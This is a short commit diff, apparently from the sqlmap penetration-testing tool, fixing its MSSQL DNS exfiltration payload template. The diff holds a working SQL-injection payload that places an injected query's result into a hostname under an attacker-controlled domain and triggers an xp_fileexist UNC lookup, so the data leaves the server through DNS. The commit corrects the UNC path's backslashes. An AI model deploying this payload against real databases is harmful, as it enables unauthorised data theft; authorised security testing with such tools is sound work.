fix for DNS method for MSSQL

This commit is contained in:
Miroslav Stampar
2012-04-02 17:28:18 +00:00
parent 2c28423cb8
commit 5f94987b0f
2 changed files with 2 additions and 7 deletions

View File

@@ -1,3 +1,3 @@
DECLARE @host varchar(1024);
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
EXEC('xp_fileexist "\' + @host + 'c$boot.ini"');
EXEC('xp_fileexist "\\' + @host + '\c$boot.ini"');